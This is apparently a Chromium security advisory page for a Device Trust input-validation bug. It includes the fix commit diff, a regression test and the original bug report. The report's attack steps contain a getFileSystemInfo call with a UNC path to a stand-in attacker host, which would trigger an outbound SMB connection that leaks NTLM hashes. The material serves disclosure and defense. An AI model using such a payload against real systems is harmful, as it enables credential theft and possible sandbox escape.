Overview

Low
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInsufficient validation of untrusted input in Device Trust
DescriptionInsufficient validation of untrusted input in Device Trust
ComponentDevice Trust
Bug ClassLogic Error
Tracker501857663
Fix commite04526f24b7e (chromium/src) +25/-6
CISA KEVNot listed
CreditedGoogle
Disclosed2026-06-30

Changed Functions

FunctionChangeNotes
for
chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_api.cc
modified
TEST_F
chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_unittest.cc
modified

Files Changed

  • chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_api.cc
  • chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_unittest.cc
From e04526f24b7e7fa54f1a922ed3fba5ed1dbc969b Mon Sep 17 00:00:00 2001
From: hamda mare <hmare@google.com>
Date: Mon, 04 May 2026 19:47:17 -0700
Subject: [PATCH] Add path validation to prevent NTLM leak in getFileSystemInfo

This CL adds validation in the browser process to reject network paths
provided to the getFileSystemInfo API, preventing outbound SMB connections
and potential NTLM leak in the unsandboxed utility process.

Fixed: 501857663
Change-Id: I85191565ad48d76375111b9fd1557d8bbb6c9766
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7796283
Reviewed-by: Sebastien Lalancette <seblalancette@chromium.org>
Commit-Queue: Hamda Mare <hmare@google.com>
Cr-Commit-Position: refs/heads/main@{#1625153}
---

diff --git a/chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_api.cc b/chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_api.cc
index 87f91d7..f12c944 100644
--- a/chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_api.cc
+++ b/chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_api.cc
@@ -686,15 +686,15 @@
               args());
   EXTENSION_FUNCTION_VALIDATE(params);
 
-  // Verify that all file paths are UTF8.
-  bool paths_are_all_utf8 = true;
+  // Verify that all file paths are UTF8 and strictly local.
   for (const auto& api_options_param : params->request.options) {
-    if (!base::IsStringUTF8(api_options_param.path)) {
-      paths_are_all_utf8 = false;
-      break;
+    EXTENSION_FUNCTION_VALIDATE(base::IsStringUTF8(api_options_param.path));
+    base::FilePath file_path =
+        base::FilePath::FromUTF8Unsafe(api_options_param.path);
+    if (file_path.IsNetwork()) {
+      return RespondNow(Error("Network paths are not supported."));
     }
   }
-  EXTENSION_FUNCTION_VALIDATE(paths_are_all_utf8);
 
   auto aggregation_request = CreateAggregationRequest(signal_name());
   aggregation_request.file_system_signal_parameters =
diff --git a/chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_unittest.cc b/chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_unittest.cc
index 1aad2c76..8be096b 100644
--- a/chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_unittest.cc
+++ b/chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_unittest.cc
@@ -1366,6 +1366,25 @@
       "Enterprise.DeviceSignals.Collection.Failure.FileSystemInfo.Latency", 0);
 }
 
+TEST_F(EnterpriseReportingPrivateGetFileSystemInfoTest,
+       NetworkPathFailsGracefully) {
+  enterprise_reporting_private::GetFileSystemInfoRequest request;
+  request.user_context = GetFakeUserContext();
+
+  enterprise_reporting_private::GetFileSystemInfoOptions option;
+  option.path = "//server/share/file.txt";
+  request.options.push_back(std::move(option));
+
+  base::ListValue args;
+  args.Append(request.ToValue());
+  std::string json_args = base::WriteJson(args).value_or("");
+
+  std::string error = api_test_utils::RunFunctionAndReturnError(
+      function_.get(), json_args, profile());
+
+  EXPECT_EQ(error, "Network paths are not supported.");
+}
+
 TEST_F(EnterpriseReportingPrivateGetFileSystemInfoTest, TopLevelError) {
   device_signals::SignalCollectionError expected_error =
       device_signals::SignalCollectionError::kConsentRequired;
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_unittest.cc b/chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_unittest.cc
index 1aad2c76..8be096b 100644
--- a/chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_unittest.cc
+++ b/chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_unittest.cc
@@ -1366,6 +1366,25 @@
       "Enterprise.DeviceSignals.Collection.Failure.FileSystemInfo.Latency", 0);
 }
 
+TEST_F(EnterpriseReportingPrivateGetFileSystemInfoTest,
+       NetworkPathFailsGracefully) {
+  enterprise_reporting_private::GetFileSystemInfoRequest request;
+  request.user_context = GetFakeUserContext();
+
+  enterprise_reporting_private::GetFileSystemInfoOptions option;
+  option.path = "//server/share/file.txt";
+  request.options.push_back(std::move(option));
+
+  base::ListValue args;
+  args.Append(request.ToValue());
+  std::string json_args = base::WriteJson(args).value_or("");
+
+  std::string error = api_test_utils::RunFunctionAndReturnError(
+      function_.get(), json_args, profile());
+
+  EXPECT_EQ(error, "Network paths are not supported.");
+}
+
 TEST_F(EnterpriseReportingPrivateGetFileSystemInfoTest, TopLevelError) {
   device_signals::SignalCollectionError expected_error =
       device_signals::SignalCollectionError::kConsentRequired;
Loading diff…

Original Bug Report

reported by vm...@google.com

Potential NTLM leak and sandbox escape via UNC paths in SystemSignalsService

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team.

Overview: The enterprise.reportingPrivate.getFileSystemInfo API fails to block UNC paths, allowing compromised extensions to pass network paths to the unsandboxed SystemSignalsService. This triggers an NTLM authentication leak when Windows resolves the path and parses the remote file (via WinVerifyTrust), creating a potential sandbox escape vector.

Affected files:

  • components/device_signals/core/common/win/platform_utils_win.cc
  • chrome/browser/extensions/api/enterprise_reporting_private/conversion_utils.cc
  • chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_api.cc
  • components/device_signals/core/system_signals/win/win_platform_delegate.cc
  • components/device_signals/core/system_signals/base_platform_delegate.cc
  • components/device_signals/core/system_signals/hashing_utils.cc
  • components/device_signals/core/common/mojom/system_signals.mojom
  • components/device_signals/core/browser/file_system_signals_collector.cc
  • components/device_signals/core/browser/user_permission_service_impl.cc

Estimated timestamp from git blame: 2022-07-13

Description

A potential vulnerability exists in the chrome.enterprise.reportingPrivate.getFileSystemInfo extension API where renderer-supplied file paths are not properly validated against network or UNC paths. When an attacker compromises an allowlisted extension and calls this API with a UNC path, the path is forwarded to the SystemSignalsService utility process.

Because this service runs with kNoSandbox on Windows, resolving the UNC path triggers an outbound SMB/WebDAV connection via native Windows APIs, leaking the user’s NTLMv2 challenge-response hashes. Furthermore, the unsandboxed service attempts to read and parse the remote file using complex OS functions (WinVerifyTrust and FileVersionInfo::CreateFileVersionInfo), exposing the system to potential sandbox escapes via malformed Authenticode or PE structures.

Preconditions

To potentially exploit this vulnerability, the following conditions must be met:

  1. The target must be an enterprise-managed Windows device (or the user must have explicitly consented to device signal collection).
  2. A Google-allowlisted extension for the enterprise.reportingPrivate API (e.g., Endpoint Verification / SecureConnect) must be force-installed.
  3. An attacker must compromise the renderer process hosting the allowlisted extension (e.g., via an XSS flaw on an externally_connectable domain or a vulnerability in the extension’s message handling).

Potential Attack Steps

Note: These are suggested steps based on code analysis; a working proof of concept has not been executed.

  1. The attacker compromises the renderer process of the allowlisted extension.
  2. The attacker executes JavaScript to invoke the API with an attacker-controlled UNC path:
    chrome.enterprise.reportingPrivate.getFileSystemInfo({
      userContext: {userId: '<user_id>'},
      options: [{path: '\\\\attacker.example\\share\\malicious.exe', computeSha256: true, computeExecutableMetadata: true}]
    });
    
  3. The browser process receives the request in EnterpriseReportingPrivateGetFileSystemInfoFunction::Run (enterprise_reporting_private_api.cc). It verifies the path is a UTF-8 string but fails to validate if it is a local path. The path is converted to base::FilePath and forwarded via Mojo to the SystemSignalsService.
  4. The SystemSignalsService, running as an unsandboxed utility process (system_signals.mojom), processes the path in WinPlatformDelegate::ResolveFilePath and calls base::PathExists (base/files/file_util_win.cc).
  5. base::PathExists invokes the Windows API GetFileAttributesW with the UNC path. The Windows I/O manager routes this to the SMB/WebDAV redirector. Because the process is unsandboxed, Windows automatically attempts NTLM authentication with the remote attacker server, potentially leaking the user’s NTLMv2 hashes.
  6. If the path resolves, the service invokes HashFile, reading the remote file over the network.
  7. The service then extracts metadata using BasePlatformDelegate::GetProductMetadata (calling FileVersionInfo::CreateFileVersionInfo) and verifies signatures using WinPlatformDelegate::GetSigningCertificatesPublicKeys (calling WinVerifyTrust). Both functions perform complex parsing on the attacker-controlled remote file within the unsandboxed utility process, presenting a strong surface for a sandbox escape.

Suggested Fix

The browser process should validate that the paths provided by the extension are strictly local before forwarding them to the unsandboxed utility process. This can be achieved by utilizing base::FilePath::IsNetwork() or similar logic in EnterpriseReportingPrivateGetFileSystemInfoFunction::Run or ConvertFileSystemInfoOptions to reject UNC and network paths.

Evaluated with Chrome root at commit: 096fc8fdbfacf2546485756d03f160a3d04fcc9b


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

Raised in root component due to access or custom field issues on 1163683

View on issue tracker